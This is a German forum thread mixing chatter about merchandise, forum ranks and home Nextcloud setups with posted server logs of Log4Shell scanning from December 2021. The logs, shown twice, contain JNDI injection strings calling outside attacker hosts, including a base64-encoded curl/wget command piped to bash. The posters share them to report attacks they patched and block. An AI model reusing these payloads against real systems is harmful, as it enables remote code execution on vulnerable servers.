Das längste Thema

Quote from mfnalex

https://www.netcup.de/bestellen/produkt.php?produkt=2826 20€ für ein Notizbuch?

Wenn man es nach Rückkehr aus dem Homeoffice (wo es keiner sieht) in der Firma verwendet, hat man damit aber die Chance, sich mit dem Fremdlogo ganz schnell beliebt zu machen… (Für die Videokonferenzen im Homeoffice wäre ein Netcup-Hoodie wahrscheinlich besser geeignet; das induziert dann subtil die stillschweigende Frage beim Vorgesetzten, ob man noch uneingeschränkt für die ursprüngliche Firma arbeitet. )

Linktip zum Thema: Overemployed

Quote from mfnalex

https://www.netcup.de/bestellen/produkt.php?produkt=2826 20€ für ein Notizbuch?

War zu Ostern auch nicht günstiger. Wenn ich mich an meine damalige Recherche richtig erinnern kann, ist das im Einkauf wahrlich nicht billig. Und die Versandkostenpauschale (nicht nur DE!) ist ja auch noch einkalkuliert.

Würde ich allerdings trotzdem nicht kaufen. Meines von Weihnachten liegt noch unbenutzt herum, das traut man sich ja fast gar nicht verschreiben.

Quote from KB19

Meines von Weihnachten liegt noch unbenutzt herum, das traut man sich ja fast gar nicht verschreiben.

Same here.

Quote from aRaphael

Same here.

pamsel hätte so davon profitieren können...

pamsel, hmmm, ich weiss nicht. Erinnert mich vom Namen her irgendwie an zumsel und das ist nicht gut

Und heute gehen die Grüße raus an alle Minecraft Server Betreiber...

https://twitter.com/cyb3rops/status/1469343827228086278

... und natürlich an alle die sonst Java Applications mit dem Internet reden lassen.

Berggorillas wissen das, dass da auch was vom Berg runterfallen kann

45.155.205.233 - - [10/Dec/2021:15:04:53 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"
45.155.205.233 - - [10/Dec/2021:15:04:55 +0100] "GET /index.html HTTP/1.1" 200 5155 "https://116.203.16.95:443/" "${jndi:ldap://45.155.205.233:12344/
Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"                                                                                                                                       188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET /index.html HTTP/1.1" 200 5155 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
188.166.92.228 - - [10/Dec/2021:16:51:57 +0100] "GET /favicon.ico HTTP/1.1" 200 2734 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-h
ttp-callback-scheme}"                                                                                                                                147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}"
147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}"
68.183.198.247 - - [10/Dec/2021:19:08:00 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}"
68.183.198.247 - - [10/Dec/2021:19:08:01 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}"
161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}"
161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}"
45.155.205.233 - - [10/Dec/2021:20:02:17 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"

Da sind sie.

Quote from perryflynn

Da sind sie.

Ja, auch bei mir sind sie inzwischen vorstellig geworden:

0958 Sat Dec 11 11:08:12 WARNING 920350 "Host header is a numeric IP address" /${jndi:ldap:...:80/ye} -

Hat hier jemand Erfahrungen mit lokalen Nextclouds, z.B. auf einem NAS-Server (Synology etc)? Läuft sowas und wenn ja, welche NAS-Server wären hierfür geeignet? Zugriff von "außen" ist im Moment noch nicht gefragt, wird aber wohl schnell kommen, wenn man die ganzen Möglichkeiten erst mal sieht und dann auch von unterwegs nutzen will.

Bisher basiert da alles auf E-Mail. Mitarbeiter_innen und der Chef schicken sich gegenseitig Mails zu mit Anweisungen bzw Nachfragen und Dokumenten im Anhang. Von einem Raum zum nächsten, der Chef auch ganz gern mal sich selbst als Notizzettel-Ersatz. Natürlich über einen Shared-Webhosting Mailserver, der zugegebenermaßen selten bis nie Probleme macht. Aber mit einem Upload von ca 1 MBit/s macht das bei größeren Anhängen eher wenig Spass, zudem sollten die Dokumente (und die Notizen vom Chef) natürlich auch schon aus Datenschutz/Datensicherheits Gründen nicht unnötig das Haus verlassen.

Ich hab ein HP Microserver Gen8 mit OpenMediaVault und Nextcloud im Docker. Funktioniert alles wie gewünscht.

Quote from perryflynn

Code

45.155.205.233 - - [10/Dec/2021:15:04:53 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"
45.155.205.233 - - [10/Dec/2021:15:04:55 +0100] "GET /index.html HTTP/1.1" 200 5155 "https://116.203.16.95:443/" "${jndi:ldap://45.155.205.233:12344/
Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"                                                                                                                                       188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET /index.html HTTP/1.1" 200 5155 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}"
188.166.92.228 - - [10/Dec/2021:16:51:57 +0100] "GET /favicon.ico HTTP/1.1" 200 2734 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-h
ttp-callback-scheme}"                                                                                                                                147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}"
147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}"
68.183.198.247 - - [10/Dec/2021:19:08:00 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}"
68.183.198.247 - - [10/Dec/2021:19:08:01 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}"
161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}"
161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}"
45.155.205.233 - - [10/Dec/2021:20:02:17 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"

Display More

Da sind sie.

Ja, ein paar Witzbolde haben das auch direkt auf meinen Gameservern probiert. Da war zum Glück schon alles gepatcht. Jeder der es weiterhin versucht wird permanent gebannt, ist ja klar. Ist ja schnell erkannt mittels regex.

Hab das mal in einer VM probiert, ohne irgendwelche bösen Payloads - das hat schon ausgereicht für nen SegFault, der sich erst ein paar Stunden später gezeigt hat …

$ java

-bash: java: command not found

das bedeutet ja nur, dass dein java nicht im suchpfad ist.

Quote from Olivetti

das bedeutet ja nur, dass dein java nicht im suchpfad ist.

$ update-alternatives --list java

update-alternatives: error: no alternatives for java

$ ls -l /usr/bin/java

ls: cannot access '/usr/bin/java': No such file or directory

$ sudo apt list --installed | grep -i jdk

$

aRaphael

Du bist gerade ganz frisch Meister geworden, Glückwunsch

Screenshot_20211211-184248.png

Quote from joas

Du bist gerade ganz frisch Meister geworden, Glückwunsch

Oh. Sieh an. Ist mir gar nicht aufgefallen.

Na, dann kann ich mich ja nun wieder aus dem Forum zurückziehen. Hatte mich ja nur deshalb hier angemeldet um ein Ziel vor Augen zu haben.

Quote from aRaphael

Na, dann kann ich mich ja nun wieder aus dem Forum zurückziehen. Hatte mich ja nur deshalb hier angemeldet um ein Ziel vor Augen zu haben.

Kann ich nicht verantworten und werde alle XX+ Likes automatisiert wieder rückabwickeln lassen.

Quote from tab

Hat hier jemand Erfahrungen mit lokalen Nextclouds

Goflex-Net mit SSD.